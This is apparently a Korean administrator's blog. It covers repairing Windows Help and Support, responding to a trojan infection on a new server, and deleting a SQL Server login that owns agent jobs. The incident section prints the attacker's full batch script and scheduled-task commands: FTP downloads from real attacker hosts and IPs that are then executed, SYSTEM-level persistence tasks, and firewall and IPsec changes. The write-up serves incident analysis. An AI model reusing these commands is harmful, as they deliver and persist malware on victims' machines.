독까의 이야기

서버 운영 정보 리스트업을 위해서 Windows Server 2003 OS 가 설치 된 서버에 접속하여 msinfo32 명령어를 실행 했음.

그런데 실행이 되지는 않고, 메시지 박스가 호출 됨. 도움말 서비스를 실행 할 수 없음 뭐 이런 내용임.

서비스 리스트에 "Help and Support" 가 보이지 않음.

구글링 시작.

https://answers.microsoft.com/en-us/windows/forum/windows_xp-performance/error-windows-cannot-find-helpctrexe-not-able-to/b2e73f2d-3fa6-45df-9d62-fc9f3ac4f393?auth=1

Step I
Restore missing Help and Support Files

1. Click Start, Run and type %windir%\INF

2. Locate the file pchealth.inf, right-click and choose Install

Image

There will be two files namely PCHealth.INF and PCHealth.PNF. You'll need to right-click on the INF file (identified by a text pad and Gear icon in it) and choose Install. Note that the .INF suffix is not shown in Windows Explorer unless the Hide extensions for known file types setting is disabled in Control Panel / Folder Options / View tab.

3. In the next step, you'll be asked for the Windows XP CD (to extract dataspec.xml and many other files). Insert your Windows XP CD and point to the i386 folder in the CD. The i386 folder is usually located at the root of the drive for retail Windows XP CD. (DriveLetter:\I386)

Image

4. Click OK. This restores missing Help and Support files.


Step II
End the Help and Support services

Click Start, click Run and type Taskmgr and click OK. This opens Task Manager. Click the Process tab. Terminate the following processes if running:

  • helpsvc.exe
  • helphost.exe
  • helpctr.exe

 

Step III
Reinstall Help and Support

Click Start, click Run and type cmd.exe, and click OK.

In Command Prompt, type the following commands one by one and press {ENTER} after each line. Alternately, you can copy the commands below to Notepad, save the file with .bat extension (e.g. helpfix.bat) and run it. Then RESTART your computer.

net stop helpsvc
cd /d %windir%\pchealth\helpctr\binaries
start /w helpsvc /svchost netsvcs /regserver /install
start /w helpsvc /register
start /w helpctr /regserver

 

그냥 세 번째 단계만 진행해도 잘 됨. 

cd /d %windir%\pchealth\helpctr\binaries
start /w helpsvc /svchost netsvcs /regserver /install
start /w helpsvc /register
start /w helpctr /regserver

 

OS 세팅 된지 24 시간이 경과되지 않은 신규 서버에 WannaCry Ransomeware 파일 생성 경고 알림이 확인 되었음.

일본에서 운영 중인 서버이고 웹서비스 및 기타 서비스가 하나도 활성화 되지 않았는데도 공격에 당함.

신규 서버가 IPMI 관리 서버를 통해 연결이 되어 있어서, 혹시나 하는 마음에 IPMI 관리 서버 접속해서 점검을 했는데 공격에 당해 있었음.

작업 스케쥴러에 관리자가 생성하지 않은 작업이 등록되어 있고,

작업 관리자의 프로세스 리스트에도 비정상 명령어를 실행하는 프로세스가 존재하는 것을 확인.

 

백신을 이용한 전체 스캔으로도 침해 파일이 확인되지 않음.

 

1. 기타 계정 생성 여부를 확인하였으나, 관리자 계정 외에는 생성 된 계정이 없음을 확인

 

2. 작업 스케쥴러 인수에 기록되어 있는 폴더로 이동하여 파일 생성 여부 확인

/c echo open ftp.oo000oo.me>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe

/c echo open ftp.oo000oo.me>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p

c:\windows\help\lsmosee.exe / c:\windows\debug\lsmosee.exe 파일 생성 확인

 

3. 인수에 기록 된 링크 주소로 FTP 접속 (id : test / pw : 1433) 하여 파일 확인 및 다운로드. 

도메인 주소로 ping 을 쳐봤더니 윈도우 서버로 확인되어, 104.37.245.82 로 원격 접속을 시도 해 보았으나 접속 실패.

 

4. s.rar 파일명을 실행파일 확장자로 변경하여 실행하였으나 실행되는 프로세스 확인되지 않음. 다른 작업과 연계되어야 실행이 되는 것으로 추정.

 

5. 임시 경로에 비정상 파일 생성 확인

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5

하위 폴더들에 침해 파일 생성 확인

test[1].htm 내용

http://209.58.186.145:8888/close2.bat c:\windows\debug\c2.bat 1
http://104.37.245.82:8888/32.rar c:\windows\help\lsmosee.exe 1

close2[2].bat 내용

ping 127.0.0.1 -n 10
net1 user IISUSER$ /del&net1 user IUSR_Servs /del
cacls c:\windows\twain_32\csrss.exe /e /d system&cacls c:\windows\twain_32\csrss.exe /e /d everyone
schtasks /create /tn "Mysa1" /tr "rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa" /ru "system"  /sc onstart /F
schtasks /create /tn "Mysa2" /tr "cmd /c echo open ftp.oo000oo.me>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p" /ru "system"  /sc onstart /F
schtasks /create /tn "Mysa3" /tr "cmd /c echo open ftp.oo000oo.me>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe" /ru "system"  /sc onstart /F
schtasks /create /tn "ok" /tr "rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa" /ru "system"  /sc onstart /F
netsh ipsec static add policy name=win
netsh ipsec static add filterlist name=Allowlist
netsh ipsec static add filterlist name=denylist
netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=135
netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=137
netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=138
netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=139
netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=445
netsh ipsec static add filteraction name=Allow action=permit
netsh ipsec static add filteraction name=deny action=block
netsh ipsec static add rule name=deny1 policy=win filterlist=denylist filteraction=deny
netsh ipsec static set policy name=win assign=y
ver | find "5.1." > NUL && sc config SharedAccess start= auto && net start SharedAccess && netsh firewall set opmode mode=enable && netsh firewall set portopening protocol = ALL port = 445 name = 445 mode = DISABLE scope = ALL profile = ALL
attrib -s -h -r C:\Windows\systxm1\*.*&attrib -s -h -r C:\Windows\system\*.*
net1 stop Mysqlverss&sc delete Mysqlverss&net1 user Mysql_User /del
cacls C:\Windows\systxm1\*.* /e /p system:n&cacls C:\Windows\system\*.* /e /p system:n&cacls c:\windows\fonts\*.exe /e /p system:n
@Wmic Process Where "Name='winlogon.exe' And ExecutablePath='C:\Windows\system\winlogon.exe'" Call Terminate &del C:\Windows\system\winlogon.exe
@Wmic Process Where "Name='svchost.exe' And ExecutablePath='C:\Windows\system\svchost.exe'" Call Terminate &del C:\Windows\system\svchost.exe
@Wmic Process Where "Name='svchost.exe' And ExecutablePath='C:\Windows\twain_32\svchost.exe'" Call Terminate &del C:\Windows\twain_32\svchost.exe
@Wmic Process Where "Name='csrss.exe' And ExecutablePath='C:\Windows\twain_32\csrss.exe'" Call Terminate &del C:\Windows\twain_32\csrss.exe
@Wmic Process Where "Name='csrss.exe' And ExecutablePath='C:\Windows\tasks\csrss.exe'" Call Terminate &del C:\Windows\tasks\csrss.exe
del c:\windows\debug\c2.bat
exit

 

해당 파일들은 아래에 있음. 실행하는 것은 권장하지 않음.

close2[2].bat

ru[1].dat

test[1].htm

 

6. 스케쥴러 및 파일 삭제

 

위와 같이 진행하여 차단 완료되었는 줄 알았으나, 몇 시간 후 동일한 스케쥴러 및 파일 생성 확인함.

 

완전한 차단 및 삭제를 위해 구글링 시작.

검색어 : ftp.oo000oo.me

참고 링크 : https://www.bleepingcomputer.com/forums/t/649842/ransomware-help/

참고 링크 : https://www.cyphort.com/eternalblue-exploit-actively-used-deliver-remote-access-trojans/

두 번째 링크에서 많은 도움을 얻음.

일단 해당 침해는 랜섬웨어는 아닌 걸로 확인 됨. 트로이 목마를 이용한 원격 접속 침해 인걸로 확인.

레지스트리에 등록 되어 있는 실행 명령어 때문에 스케쥴러를 삭제해도 재등록이 되는 거였음.

HKEY_LOCAL_MACHINE - SOFTWARE - Microsoft - Windows - CurrentVersion - Run

해결 방법에 적힌 내용 확인 후 처리 진행함. 

서버 리부팅 후에도 침해 발생은 확인되지 않고 있음.

일단 해결은 되었으나, 지속적 모니터링이 필요함.

 

서버의 관리자 계정명이 변경되어, DB 의 신규 관리자 계정을 생성하여 접속 후 기존 DB 관리자 계정을 삭제하려고 하는데 실패가 발생.

 

 

특정 작업의 소유자로 등록되어 있어서 삭제가 되지 않음. 

해당 계정으로 어떤 작업이 등록되어 있는지 확인 필요. 


SELECT j.name
FROM msdb.dbo.sysjobs AS j
INNER JOIN sys.syslogins AS l ON j.owner_sid = l.sid
WHERE l.name = '삭제 할 SQL 계정명';


 

쿼리를 실행하면

위와 같이 해당 계정으로 등록되어 있는 작업명이 출력 됨.

 

SQL Server 에이전트 - 작업 - 목록을 확인하여

스케쥴 선택 - 속성 - 소유자 계정을 변경하거나, 작업 스케쥴 자체를 삭제 후 계정을 삭제하면 정상 삭제 완료.